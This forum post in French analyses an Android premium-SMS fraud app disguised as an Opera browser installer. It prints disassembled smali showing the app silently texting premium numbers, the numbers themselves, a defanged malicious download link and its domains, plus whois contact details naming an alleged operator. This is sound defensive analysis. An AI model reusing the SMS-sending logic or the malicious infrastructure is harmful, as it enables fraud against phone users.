Reversing de malware android

Bonjour,

Je me permets de publier ici un article que j'ai rédigé sur mon blog concernant le reverse de malwares android.

J'étudie ici le malware com.registr.registrator, de nom de fichier operaandroidi14.apk disponible sur mon dépôt.

Ce malware nous propose de télécharger le navigateur Opera gratuitement (alors que celui-ci est disponible sur Internet), cependant, l'application effectue quelques actions à l'insu de l'utilisateur avant de donner le lien de téléchargement d'une version d'Opera (très certainement backdoorée...).
Je présenterai donc ici la structure d'une application Android, avant d'attaquer le reversing du malware, et la collecte d'informations sur son créateur.

Structure d'un fichier APK, et tools nécessaires

Une application Android est fichier .apk, qui, techniquement n'est qu'une archive .zip renomée. Cette archive contient quelques fichiers et dossiers qui nous intéresseront:

Le dossier res: Contient toutes les ressources (données) dont se sert l'application
Le fichier classes.dex: C'est le fichier qui contient tout le code compilé de l'application Android.

L'étude de notre malware va donc se focaliser sur ce fameux "classes.dex" ainsi que sur les ressources. Ce fichier contient du bytecode, qu'il va nous falloir désassembler à l'aide de baksmali (il vous faudra bien évidemment installer la JVM). On désassemblera le tout à l'aide de la commande, une fois avoir extrait l'archive APK:

Code :
java -jar baksmali-1.2.8.jar -s classes.dex

Cette commande nous génère un dossier "out", qui contient tout le code "smali" (une sorte d'assembleur pour le bytecode du JIT compiler d'Android) de notre application. Passons donc à l'analyse de cette application.

Reversing du malware

Si vous n'êtes sous Windows, je vous recommande fortement de lire cet article pour installer les commandes UNIX qui seront massivement utilisées dans ce cours.

On va commencer par rechercher le point d'entrée de l'application (repérable grâce à la méthode onCreate). On va donc utiliser un coup de "grep", qui nous informe que le fichier incriminé est out/com/registr/registrator/RegistratorActivity.smali, et le code de la fonction est:

Code :
.method public onCreate(Landroid/os/Bundle;)V

        .registers 4

        .parameter "savedInstanceState"

        .prologue

        .line 20

        invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

        .line 21

        const/high16 v0, 0x7f03

        invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->setContentView(I)V

        .line 23

        const/high16 v0, 0x7f06

        invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

        move-result-object v0

        check-cast v0, Landroid/widget/TextView;

        const v1, 0x7f040002

        invoke-direct {p0, v1}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

        move-result-object v1

        invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

        .line 25

        const v0, 0x7f060001

        invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

        move-result-object v0

        new-instance v1, Lcom/registr/registrator/RegistratorActivity$1;

        invoke-direct {v1, p0}, Lcom/registr/registrator/RegistratorActivity$1;-><init>(Lcom/registr/registrator/RegistratorActivity;)V

        invoke-virtual {v0, v1}, Landroid/view/View;->setOnClickListener(Landroid/view/View$OnClickListener;)V

        .line 33

        return-void

    .end method

Ce code initialise l'interface utilisateur de l'application, puis pose un ClickListener sur le bouton. On va donc regarder de plus près le listener, contenu dans out/com/registr/registrator/RegistratorActivity$1.smali. On peut aussi remarquer dans le code de RegistratorActivity.smali des méthodes nommées "sendAction" et "sendSMS", ce qui nous permet de deviner que l'application enverra des SMS à un moment ou un autre.

Examinons de plus près le code de RegistratorActivity$1.smali.

Code :
.method public onClick(Landroid/view/View;)V

        .registers 3

        .parameter "v"

        .prologue

        .line 30

        iget-object v0, p0, Lcom/registr/registrator/RegistratorActivity$1;->this$0:Lcom/registr/registrator/RegistratorActivity;

        invoke-static {v0}, Lcom/registr/registrator/RegistratorActivity;->access$000(Lcom/registr/registrator/RegistratorActivity;)V

        .line 31

        return-void

    .end method

Cette méthode appelle RegistratorActivity.access$000, qui a pour vocation d'appeler RegistratorActivity.sendAction, une des fonctions bizarres repérées à l'instant. Regardons donc de plus près cette fonction.

Code :
.method private sendAction()V

        .registers 10

        .prologue

        .line 37

        const v7, 0x7f040001  #load "sms" resource

        invoke-direct {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

        move-result-object v6

        .line 39

        .local v6, xml:Ljava/lang/String;

        const-string v7, "item"

        invoke-static {v6, v7}, Lcom/registr/registrator/XMLParser;->getList(Ljava/lang/String;Ljava/lang/String;)Ljava/util/Vector;

        move-result-object v0

        .line 42

        .local v0, EItemsXML:Ljava/util/Vector;,"Ljava/util/Vector<Ljava/lang/String;>;"

        const/4 v1, 0x0

        .local v1, i:I

      :goto_0

        invoke-virtual {v0}, Ljava/util/Vector;->size()I

        move-result v7

        # ici, on parcourt tous les éléments de la liste  

        if-ge v1, v7, :cond_0

        .line 44

        invoke-virtual {v0, v1}, Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;

        move-result-object v4

        check-cast v4, Ljava/lang/String;

        .line 45

        .local v4, tmp:Ljava/lang/String;

        const-string v7, "number"

        invoke-static {v4, v7}, Lcom/registr/registrator/XMLParser;->getParamString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

        move-result-object v2

        .line 46

        .local v2, number:Ljava/lang/String;

        const-string v7, "prefix"

        invoke-static {v4, v7}, Lcom/registr/registrator/XMLParser;->getParamString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

        move-result-object v3

        .line 48

        .local v3, prefix:Ljava/lang/String;

        invoke-direct {p0, v2, v3}, Lcom/registr/registrator/RegistratorActivity;->sendSMS(Ljava/lang/String;Ljava/lang/String;)V

        .line 42

        add-int/lit8 v1, v1, 0x1

        goto :goto_0

        .line 52

        .end local v2           #number:Ljava/lang/String;

        .end local v3           #prefix:Ljava/lang/String;

        .end local v4           #tmp:Ljava/lang/String;

        :cond_0

        const v7, 0x7f060001

        invoke-virtual {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

        move-result-object v7

        const/4 v8, 0x4

        invoke-virtual {v7, v8}, Landroid/view/View;->setVisibility(I)V

        .line 53

        const/high16 v7, 0x7f06

        invoke-virtual {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

        move-result-object v5

        check-cast v5, Landroid/widget/TextView;

        .line 54

        .local v5, tv:Landroid/widget/TextView;

        const/high16 v7, 0x7f04

        invoke-direct {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

        move-result-object v7

        invoke-virtual {v5, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

        .line 55

        const/4 v7, 0x1

        invoke-static {v5, v7}, Landroid/text/util/Linkify;->addLinks(Landroid/widget/TextView;I)Z

        .line 56

        return-void

    .end method

On voit clairement ici que le malware va récupérer la ressource id 0x7f040001, et parser le XML contenu à l'intérieur. Or, un coup de grep nous dit que la ressource 0x7f04001 appartient au fichier "sms.txt". Le malware va enfin passer en revue tous les numéros contenus dans la ressource, et envoyer un SMS à ces numéros, avant d'afficher le lien de téléchargement de l'APK.

Notre malware, lors du clic sur le bouton, va donc envoyer un SMS aux numéros contenus dans la ressource à l'insu de l'utilisateur, avant d'afficher le lien de téléchargement du "vrai" navigateur. 4 fun, je vous paste le contenu de sms.txt.

Code :
<item number="7495" prefix="amdetoi142f"/>

<item number="7495" prefix="amdetoi142s"/>

<item number="4446" prefix="amdetoi142"/>

Recherche d'informations

Le lien est stocké dans la ressource 0x7f040000, i.e link.txt, qui contient ce lien: hxxp://mini-opera-6.in/files/Opera_Mini_6_1_Android.apk. Un whois sur le domaine nous montre que ce domaine est enregistré au nom de Mikhail Denin, avec pour e-mail de contact whoismail2010@gmail.com. L'adresse IP du serveur est 188.95.54.32, qui possède 5 domaines: browserdupdate.biz, browsergupdate.com, browserfupdate.biz, browserxlupdate.com, opera-mini-6.net, pointant tous vers la même page. On peut donc conclure qu'il s'agit proablement d'une opération d'escroquerie destinée au public russe (les "conditions d'utilition" mentionnent une société nommée "Opera Soft" qui n'a aucune existence ...).

Mot de la fin: On peut voir que lorsqu'on tente d'installer l'application, celle-ci demande l'autorisation d'envoyer des SMS. Une question se pose alors: pourquoi un navigateur web (ou une appli devant l'installer) aurait besoin d'envoyer un SMS? Il faut donc TOUJOURS vérifier les autorisations des applications.

That's all folks ! :þ

Nouvelle réponse